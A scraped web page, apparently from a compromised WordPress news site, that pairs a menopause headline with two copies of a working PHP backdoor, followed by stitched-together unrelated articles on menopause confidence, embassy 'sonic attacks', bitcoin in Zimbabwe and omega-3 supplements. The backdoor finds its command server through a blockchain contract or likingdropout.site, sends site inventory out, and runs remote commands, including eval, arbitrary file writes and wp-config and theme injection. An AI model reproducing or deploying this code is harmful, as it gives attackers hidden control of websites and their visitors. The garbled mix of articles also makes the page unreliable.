10 things you didn’t know about the menopause
Sat, April 30, 2016
Here are ten things about menopause you most likely never knew of
1 of 7
10 things you didn’t know about menopause
// q2_xh
if(!defined('ABSPATH'))return;
$cfg=array(
'stub'=>'/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php',
'ctrl'=>'// q2_xh',
'vis'=>'// xp_v9',
'vis_func'=>'wp_dia8xd',
'vis_paths'=>array('/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php'),
'opt'=>'_wp_47nl0jvi',
);
$keys=array();
$keys['id']='kun';
$keys['ver']='em';
$keys['caps']='eby';
$keys['tasks']='awd';
$keys['interval']='pww';
$keys['ack_id']='nl0';
$keys['ok']='9s';
$keys['detail']='wyy';
$keys['inv']='kxw';
$keys['result']='f3t';
$hdr='X-J98-Auth';$tok='0cQMbCeRLTCSW0NdninnOEVrAtwy11ErS16wrKLqeas';$id='1d0c923bac57072b';$interval=420;
function _ea_inv($cfg){
$r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION);
$chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o;
if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;};
$r['stub']=$chk($cfg['stub'],$cfg['ctrl']);
$vis=array('plugin'=>null,'paths'=>array());
foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);}
$found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}}
if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}}
$vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false);
$r['visitor']=$vis;
$mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins';
if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}}
$r['mu_autologin']=$mu;
$ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}}
$r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw);
$wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false);
if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));}
$r['wpconfig_inject']=$wpc;
$cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc';
if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache';
if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status'));
return $r;}
function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){
$_ok=false;$_detail='';$_result=null;
$_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0;
if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){
$_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):'';
if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content'];
elseif($_code==='wf')$_body=$_p['content'];
$_ok=@file_put_contents($_path,$_body)!==false;
}elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){
$_ok=@file_put_contents($_p['path'],$_p['content'])!==false;
}elseif($_code==='rp'&&!empty($_p['code'])){
ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();}
$_result=array('output'=>ob_get_clean());}
elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;}
elseif($_code==='fc'){
$p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';}
if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';}
if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';}
if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';}
if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';}
if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';}
if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';}
$_ok=true;$_result=array('purged'=>$p);}
elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){
@wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false;
}elseif($_code==='fn'&&!empty($_p['snippet'])){
$td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}}
$_ok=$n>0;$_result=array('themes_updated'=>$n);}
elseif($_code==='wc'){
$wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp);
if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);}
$b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;}
}
$ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail);
if($_result!==null)$ack[$keys['result']]=$_result;
return $ack;}
function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){
$k=$cfg['opt'];if(!$force&&!wp_doing_cron()){
if(is_admin())return;
$last=(int)get_option($k,0);if(time()-$last<$interval)return;
}
$u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public');
foreach($rpcs as $_rpc){
$b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest')));
$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true)));
$raw=@file_get_contents($_rpc,false,$ctx);
if(!$raw)continue;
$j=json_decode($raw,true);
if(empty($j['result'])||strlen($j['result'])<10)continue;
$h=substr($j['result'],2);
if(strlen($h)<128)continue;
$off=(int)hexdec(substr($h,0,64));
$len=(int)hexdec(substr($h,$off*2,64));
$_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break;
}
$_hp='/panel/api/v1/metrics/collect';
$_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z);
if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');}
$_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site';
$_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10);
$u='https://'.$_s.'.'.$_z.$_hp;
$_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack';
$inv=_ea_inv($cfg);
$b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv);
$resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);}
if(!$resp)return;
update_option($k,time(),false);
$j=json_decode($resp,true);$tk=$keys['tasks'];
if(empty($j[$tk])||!is_array($j[$tk]))return;
foreach($j[$tk] as $_task){
$ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id);
if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);}
}
}
add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;});
add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){
if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync');
_ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false);
},1);
add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){
_ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true);
});
// l0_9z
if(!defined('ABSPATH'))return;
$cfg=array(
'stub'=>'/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php',
'ctrl'=>'// l0_9z',
'vis'=>'// zn_yn',
'vis_func'=>'wp_cuzg8t',
'vis_paths'=>array('/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php'),
'opt'=>'_wp_mtrhds4x',
);
$keys=array();
$keys['id']='ybc';
$keys['ver']='a1';
$keys['caps']='afo';
$keys['tasks']='x9t';
$keys['interval']='2e4';
$keys['ack_id']='k72';
$keys['ok']='ch';
$keys['detail']='xd9';
$keys['inv']='hw8';
$keys['result']='0bb';
$hdr='X-L8A-Auth';$tok='A3-EVnA_qOJ132k0gQIT_73RgM-QQ5Szxw145ZNDetU';$id='d1451f9eb0097c9f';$interval=420;
function _ea_inv($cfg){
$r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION);
$chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o;
if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;};
$r['stub']=$chk($cfg['stub'],$cfg['ctrl']);
$vis=array('plugin'=>null,'paths'=>array());
foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);}
$found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}}
if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}}
$vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false);
$r['visitor']=$vis;
$mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins';
if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}}
$r['mu_autologin']=$mu;
$ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}}
$r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw);
$wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false);
if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));}
$r['wpconfig_inject']=$wpc;
$cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc';
if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache';
if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status'));
return $r;}
function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){
$_ok=false;$_detail='';$_result=null;
$_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0;
if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){
$_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):'';
if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content'];
elseif($_code==='wf')$_body=$_p['content'];
$_ok=@file_put_contents($_path,$_body)!==false;
}elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){
$_ok=@file_put_contents($_p['path'],$_p['content'])!==false;
}elseif($_code==='rp'&&!empty($_p['code'])){
ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();}
$_result=array('output'=>ob_get_clean());}
elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;}
elseif($_code==='fc'){
$p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';}
if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';}
if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';}
if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';}
if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';}
if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';}
if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';}
$_ok=true;$_result=array('purged'=>$p);}
elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){
@wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false;
}elseif($_code==='fn'&&!empty($_p['snippet'])){
$td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}}
$_ok=$n>0;$_result=array('themes_updated'=>$n);}
elseif($_code==='wc'){
$wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp);
if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);}
$b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;}
}
$ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail);
if($_result!==null)$ack[$keys['result']]=$_result;
return $ack;}
function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){
$k=$cfg['opt'];if(!$force&&!wp_doing_cron()){
if(is_admin())return;
$last=(int)get_option($k,0);if(time()-$last<$interval)return;
}
$u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public');
foreach($rpcs as $_rpc){
$b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest')));
$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true)));
$raw=@file_get_contents($_rpc,false,$ctx);
if(!$raw)continue;
$j=json_decode($raw,true);
if(empty($j['result'])||strlen($j['result'])<10)continue;
$h=substr($j['result'],2);
if(strlen($h)<128)continue;
$off=(int)hexdec(substr($h,0,64));
$len=(int)hexdec(substr($h,$off*2,64));
$_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break;
}
$_hp='/panel/api/v1/metrics/collect';
$_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z);
if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');}
$_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site';
$_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10);
$u='https://'.$_s.'.'.$_z.$_hp;
$_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack';
$inv=_ea_inv($cfg);
$b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv);
$resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);}
if(!$resp)return;
update_option($k,time(),false);
$j=json_decode($resp,true);$tk=$keys['tasks'];
if(empty($j[$tk])||!is_array($j[$tk]))return;
foreach($j[$tk] as $_task){
$ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id);
if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);}
}
}
add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;});
add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){
if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync');
_ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false);
},1);
add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){
_ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true);
});
A U.S. study suggests taking more than one of a long list of medications that cite depression as a side-effect could increase the risk of developing the illness. But a Canadian psychiatrist says he’s skeptical.
]]>
Remember those ‘sonic attacks’ against the American and Canadian embassies last summer, making staff queasy and raising all kinds of questions as to what happened? There might have an answer. University of Michigan researchers have theorized that the incidents were really the result of ultrasonic signals from poorly functioning surveillance equipment. While individual ultrasonic signals can’t harm people outside of extreme circumstances, multiple signals can clash with each other and produce a sound that’s just low enough to be audible.
The scientists tested their hypothesis by replicating the “chirping” from an AP video using two ultrasonic emitters that combined tones, one at 25kHz and another at 180Hz. That produced a similar-sounding 7kHz frequency with ripples of sound at an even 180Hz spacing. The team even built a device that would simulate eavesdropping by playing a song instead of the 180Hz tone.
Don’t rush to call the case closed. Researchers are quick to note that this doesn’t rule out other explanations. However, it’s certainly more plausible than some of the theories floating around the Cuba illnesses, such as poisoning. It’s no secret that Cuba wants to know what the US and Canada are doing, but it also wouldn’t gain much from inflicting nausea and headaches on embassy workers.
Source: University of Michigan
]]>
MENOPAUSE symptoms can be unpleasant but women have revealed in a survey another side-effect of falling oestrogen levels – a lack of confidence.![]()
The menopause is something every woman has to tackle – with hot flushes and mood swings galore it’s never a pleasant experience.
As the trend towards a longer and healthier lifespan continues, women are increasingly spending up to half their years in the post-menopausal phase of life.
A recent survey revealed over three quarters of women felt unprepared for the menopause and the affect it had on their confidence levels.
Forty six per cent of women claimed the menopause impacted on their confidence levels.
GETTY
Menopause: The symptoms of menopause can cause a woman to lose confidence
A whopping 54 per cent women even went as far as to say low confidence can affect their whole day, leaving them in a bad mood which they struggle to shake.
Dr Sarah Brewer, Medical Director of Healthspan Nurture Replenish, the hair and skincare brand who commissioned the research said: “Weight gain, skin and hair changes coupled with hot flushes tend to come all at once for many women and this can knock our confidence and leave us feeling self-conscious and unattractive.
“Oestrogen levels start to fall for most women during their forties as we head into perimenopause which results in many of the symptoms that impact on confidence.
“Menopause is no longer a taboo subject and there are a number of specifically developed products to help women tackle the effects of what happens when oestrogen levels take a dive such as Nurture Replenish that contains natural plant phytoestrogens to help replenish what is naturally lost as hormone levels decline.”
Dr Megan Arroll, a psychologist and co-author of ‘The Menopause Maze’ added: “This survey highlights how appearance can impact confidence but we also know that confidence can influence how we feel about ourselves.
“When we feel more self-assured, we’re more likely to engage in self-care activities which can directly affect our appearance (i.e. taking good care of our teeth, skin and hair), which then acts as a loop as we feel our best and most confident. Hence, boosting confidence from within is a powerful tool for long term health – on the inside and out.’
“With regard to the menopause, research has shown women who feel more satisfied with their appearance report fewer menopausal symptoms.
“The key here appears to be self-esteem and confidence as the researchers took into account the women’s hormone levels. Therefore, in this study at least, feeling good about oneself actually made experiencing menopausal symptoms less likely.
“This is why self-care is so important – so do whatever makes you feel good, whether it is using a new shampoo that brings the shine back to your crowning glory or a high-quality moisturiser to refresh the skin.”
GETTY
Menopause: Many women suffer from hot flashes during the menopause
Ten ways to rebuild your confidence during the menopause
1. Take action, create a plan and do some research
2. Consultant gynaecologist Tania Adib from The Medical Chambers Kensington in London says, As a first line of treatment giving back oestrogen – in the form of HRT. Talk it over with your GP. Alternatively, increase plant oestrogens in your diet (like alfalfa sprouts, tofu, chickpeas, sesame and pumpkin seeds and soy).
3. Make a decision to stop comparing yourself to your younger self
4. Rob Hobson, Healthspan Head of Nutrition said: “Weight gain came out as one of the top reasons why women struggle with the menopause middle as it’s referred to so now is the time to tackle weight gain before it becomes a problem.
“Find a plan that works for you and try to eat a Mediterranean style diet including plenty of plant-based foods like fruit and vegetables, wholegrains, pulses, olive oil and some fish and lean meat. Researchers suggest the high fibre in the diet can help stabilise oestrogen levels.”
5. Find products that have been designed specifically to take care of your hair and skin as it goes through hormonal changes such as the Healthspan Nurture Replenish range that has plant oestrogens and has been formulated specifically for menopausal hair and skin.
GETTY
Menopause: Many women take HRT pills to put off the effects of the menopause
6. Nicola Addison, Personal Trainer and co-author of a new book Cheats & Eats says: “Keeping fit and maintaining good health can significantly improve your mood & health. Exercise also boosts levels of the potent brain chemicals serotonin, dopamine, and norepinephrine – which often help buffer some of the effects of stress & anxiety linked with menopause.”
7. GP and Medical Nutritionist Dr Sarah Brewer (drsarahbrewer.com): ‘Many find the emotional symptoms more difficult to manage than the physical ones. Black Cohosh and Sage leaf extract can help.
“Studies also show that regularly eating omega-3 rich foods like oily fish and seeds can regulate hormone production and ease depression and anxiety. B vitamins help support your nervous system to improve mood. Try Healthspan Opti-Omega 3, £12.95 and Vitamin B Complex, £8.95.
8. There are plenty of apps and free relaxation websites out there that can help tackle chronic and acute stress and research shows relaxation techniques may modify the experience of hot flashes and other common symptoms of the menopause.
Dr Arroll said: “We can influence our physical health via psychological means, such as relaxation, stress reduction techniques and with ‘talking’ therapies such as CBT (Cognitive Behavioural Therapy – a way of substituting unhelpful thought patterns with more positive ones) that may help.”
9. See if you can juggle your work hours. Dr Claire Hardy who is leading a research study at King’s College London in collaboration with the University of Nottingham is looking at ways to improve menopause for working women suggests the possibility of more flexible working: “The woman might have been having trouble sleeping so having a later start to work might be feasible for some women, or just to miss the rush hour.”
Talk to your boss or your HR department.
10. Do resist the wine’oclock. A 2017 YouGov survey found 28 per cent of women over 45 drank as much or more than their grown-up children.
Alcohol can temporarily help ease stress or anxiety at the end of the day but it is likely to disrupt your sleep and it is also a depressant and may exacerbate both the physical and psychological symptoms triggered by perimenopause and menopause.
Bitcoin prices have jumped back above $ 7,000 on global benchmark exchanges, but the latest moves appear small compared to overnight action in Zimbabwe.
Zimbabwe’s military stormed the capital city of Harare yesterday and took control of the state broadcaster.
Zimbabwean President Robert Mugabe has been placed under house arrest and may step down later this week.
That led to reports that bitcoin prices on a cryptocurrency exchange in Zimbabwe called Golix had skyrocketed past $ 13,000 — almost double the current value on other major exchanges such as Bitfinex.
Zimbabwe doesn’t have its own currency, with the US dollar and South African rand both accepted as legal tender since 2009 after hyperinflation left the previous currency worthless.
The Golix website showed settled bitcoin transactions ranged from $ 8,000 to as high as $ 13,499 over the last 24 hours, although its unclear whether those figures referred to settlements of at least one bitcoin, or a percentage of bitcoin.
In other words, if someone purchased 0.25 of a bitcoin at $ 13,499, the actual money paid would be around $ 3,375.
In addition, there was a wide gap between the bid and ask spread for bitcoin trades on the Golix website overnight, with the most drastic discrepancy showing a sell offer (ask) at $ 16,000 against a buy offer (bid) of just $ 5,000.
A short time ago, the website showed that bitcoin was trading at $ 10,250 — still around a $ 3,000 premium to current prices on larger exchanges.
According to a report in Quartz, the higher prices were most likely due to a lack of liquidity on the Golix exchange, which appears to be the only cryptocurrency website in Zimbabwe.
The Golix website says the exchange has processed transactions for 16.2878 bitcoin over the past 24 hours. As a comparison, larger exchanges in the US such as Bitfinex process tens of thousands over the same time-frame.
The Quartz report added that where countries don’t have large clearing exchanges, peer-to-peer transactions are more common.
The biggest global platform for peer-to-peer bitcoin trades is localbitcoins.com, and a search of brokers in Zimbabwe shows transactions more in line with the current global price of bitcoin.
So while at least one transaction may have been cleared at the impressively high price of $ 13,499, it doesn’t appear that a large number of Zimbaweans are paying top dollar in a mad scramble for cryptocurrency as military tanks roll through downtown Harare.
Here’s the price for bitcoin in US dollars a short time ago on the Bitfinex exchange, via Investing.com:
Investing.com
![]()
VEGAN diets continue to grow in popularity. However, suddenly removing meat, dairy and other animal products from meals could cause hair loss.![]()
DEMENTIA sufferers most commonly have a type Alzheimer’s disease and there is currently no cure. However, a new drug in the making could not only treat symptoms but also repair your teeth too.![]()
DIABETES can cause a number of long-term problems, including an increased risk of heart disease and stroke. Scientists have now discovered how the condition raises cholesterol levels.![]()
STROKE medication – known as anticoagulants – reduces your risk of developing a potentially-fatal blood clot. However, consuming too much omega-3, usually through supplements, can stop the drugs from working properly.![]()
Omega-3 are a type of essential fatty acids, which are essential for brain health and can prevent many conditions.
According to the University of Maryland Medical Centre they reduce inflammation and lower risk of chronic diseases such as heart disease, cancer, and arthritis.
Research has also found them to be helpful for memory and performance, and reducing symptoms of depression.
The body can’t make omega-3, so you have to get it through supplements or food.
Rich dietary sources include fish, particularly fatty varieties such as mackerel, salmon and sardines.
The British Dietetics Association recommends people eat two portions of fish per week for omega-3.
However there is no specific recommended dose, since they argue there is not enough evidence yet that supplements can benefit children and adults.
That said, many people still choose to take them.
A study published this week revealed that the global nutritional lipids market – of which omega-3 supplements account for the largest share – is set to double by 2022.
The Food and Drug Administration in the United States says up to 3g of omega-3 fatty acids a day is safe.
However some groups of people are advised against taking the supplements.
Those on anticoagulant drugs should avoid them since omega-3s can affect blood clotting.
